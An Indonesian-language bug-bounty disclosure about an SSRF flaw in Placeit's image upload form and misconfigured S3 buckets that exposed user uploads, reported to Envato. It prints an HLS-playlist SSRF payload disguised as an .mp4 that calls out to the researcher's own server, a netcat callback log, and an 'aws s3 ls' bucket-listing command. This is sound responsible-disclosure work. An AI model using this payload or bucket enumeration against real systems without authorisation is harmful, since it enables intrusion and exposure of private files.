SSRF Vulnerability dan AWS S3 Bucket Misconfiguration di Placeit (Envato)

Berawal ketika saya sedang ingin membeli sesuatu di Envato Market, saya melihat ada yang baru di menu Themeforest dan juga Codecanyon. Berikut ada yang baru setelah saya perhatikan :

Untuk yang rajin berkunjung ke Envato Market pasti sadar bahwa menu tersebut tidak ada di Envato Market sebelumnya. Jadi karena penasaran saya kemudian memutuskan untuk mencari tau tentang sesuatu yang baru tersebut. Jika di-klik maka kita akan diarahkan ke sebuah website yaitu placeit.net.

Sekilas Tentang Placeit

Placeit didirikan oleh Navid Safabakhsh pada tahun 2014. Placeit sendiri dibuat agar dapat membantu siapapun yang ingin membuat gambar ataupun video tanpa memiliki kemampuan sebagai graphic designer ataupun video editor. Mereka menyediakan berbagai macam template foto dan video yang bisa digunakan untuk berbagai keperluan. Pada Desember 2017 lalu, Envato meng-akuisisi Placeit dan Navid Safabakhsh kini menjadi CEO Envato Mexico.

Temuan Celah SSRF

Berawal dari rasa penasaran, kemudian saya memutuskan untuk “mencari sesuatu” di Placeit. Saat itu saya hanya berpikir seperti ini :

Jika Placeit ini baru diakuisisi oleh Envato, kemungkinan pasti ada sesuatu yang bisa saya temukan.

Karena di anggapan saya saat itu, sesuatu yang baru pasti masih “segar”, walaupun Placeit sendiri sudah ada sejak tahun 2014. Saya kemudian mencoba mencari sesuatu yang menarik, sampai akhirnya saya menemukan sebuah halaman yang dimana kita bisa membuat sebuah design untuk insta story. Di halaman tersebut ada sebuah fitur upload yang ditandai dengan “Custom Image“.

Setelah mencoba fitur upload tersebut, saya menyadari bahwa tidak ada validasi untuk file yang di-upload di form tersebut. Seharusnya form upload tersebut hanya menerima file dalam bentuk gambar, namun karena tidak ada filter dan validasi, file yang berekstensi .mp4 juga bisa di upload di form tersebut. Setelah itu saya mencoba menyiapkan sebuah file yang saya rename menjadi upload.mp4. File tersebut berisi payload untuk SSRF. Berikut untuk payload nya :

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:1.0,
http://ssrf.teguh.co:8083

Di server saya listen port 8083, setelah file tersebut di upload, server mendapatkan response seperti ini :

[root@bukancoder ~] nc -nvlp 8083
 Ncat: Version 7.50 ( https://nmap.org/ncat )
 Ncat: Listening on :::8083
 Ncat: Listening on 0.0.0.0:8083
 Ncat: Connection from 52.71.90.54
 Ncat: Connection from 52.71.90.54:40376
 )?sp?Ò?1?K?6?L?+?.?????
 ?????/?)0??????????z?{/5A?????
 ssrf.teguh.co?#

Menggunakan Burp Collaborator untuk SSRF Testing :

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:1.0,
http://unl732nvtuhla2lv94hq48zwwqnwdk2.burpcollaborator.net/

Setelah itu burp mendapatkan interaksi DNS dan HTTP. Karena menurut saya proof nya sudah cukup kuat, saya hentikan testing untuk SSRF sampai disini saja.

Temuan AWS S3 Bucket Misconfiguration

Placeit sendiri jika saya perhatikan memang masih terkesan masih “segar”, masih banyak konten static yang menggunakan subdomain dari AWS untuk S3 Bucket. Yang kemudian menarik perhatian saya adalah untuk memeriksa apakah S3 Bucket milik Placeit ACL nya sudah dikonfigurasi dengan baik.

Untuk melakukan percobaan ini, sebelumnya kita harus sudah meng-install AWS CLI. Untuk install AWS CLI cukup jalankan command berikut :

pip install awscli

Setelah itu langsung bisa dicoba ke S3 yang menjadi target kita saat itu :

aws s3 ls s3://assets-placeit-net/assets

Vulnerable S3 Bucket milik Placeit :

Temuan Ketiga, S3 Bucket Lainnya milik Placeit

Setelah saya mengirimkan laporan ke Envato dan kedua bug tersebut dikonfirmasi sudah diperbaiki. Ketika sedang memeriksa yang lainnya, saya kembali menemukan S3 Bucket milik Placeit yang tidak dikonfigurasi dengan benar.

Vulnerable S3 Bucket : placeit-user-uploads (https://placeit-user-uploads.s3.amazonaws.com/)

Temuan ini bermula ketika saya mencoba membuat sebuah design menggunakan Placeit, saat file tersebut sudah berhasil di upload, file tersebut stored di S3 Bucket milik Placeit. Karena konfigurasi ACL nya tidak benar, efek dari temuan ini memungkinkan saya untuk melihat dan men-download semua file milik user lain yang di upload ke S3 Bucket milik Placeit.

Pengalaman Melaporkan Sebuah Bug di Envato

Sekedar informasi buat kamu yang membaca tulisan ini, sesuai dengan halaman Envato Product Security, Envato tidak akan memberikan reward dalam bentuk apapun ke orang-orang yang melaporkan bug ke aset milik mereka. Nantinya jika laporan kamu dinyatakan valid, mereka akan mencamtumkan nama kamu di HOF (Hall of Fame), selain itu kamu akan mendapatkan badge Helpful Hacker yang akan dipajang di profil kita di Envato Market.

Jadi untuk kamu yang mencari bug untuk suatu kesenangan, kamu bisa menggunakan kemampuan kamu untuk menemukan dan melaporkan bug yang ditemukan di semua aset milik Envato.

Ketika melaporkan ketiga temuan tersebut, saya saling berbalas email dengan Ross yang merupakan Lead Developer. Ross sendiri adalah tipe orang yang cukup responsif dan ramah sekali. Ketika meminta persetujuan untuk menuliskan temuan ini, Ross juga meminta saya untuk mengirimkan link tulisan saya jika sudah dipublikasikan.

Saat itu saya bercanda bahwa tulisan ini nantinya akan dituliskan menggunakan Bahasa Indonesia, jadi kemungkinan dia akan membutuhkan Google transalate untuk membaca tulisan ini. Namun Ross memberikan konfirmasi tidak ada masalah karena dia memiliki seorang teman di Bali.

Jadi sebenarnya temuan ini sudah lama karena sudah sejak bulan Juni 2019 lalu. Namun baru sempat saya tuliskan saat ini.

Terima kasih dan semoga bermanfaat.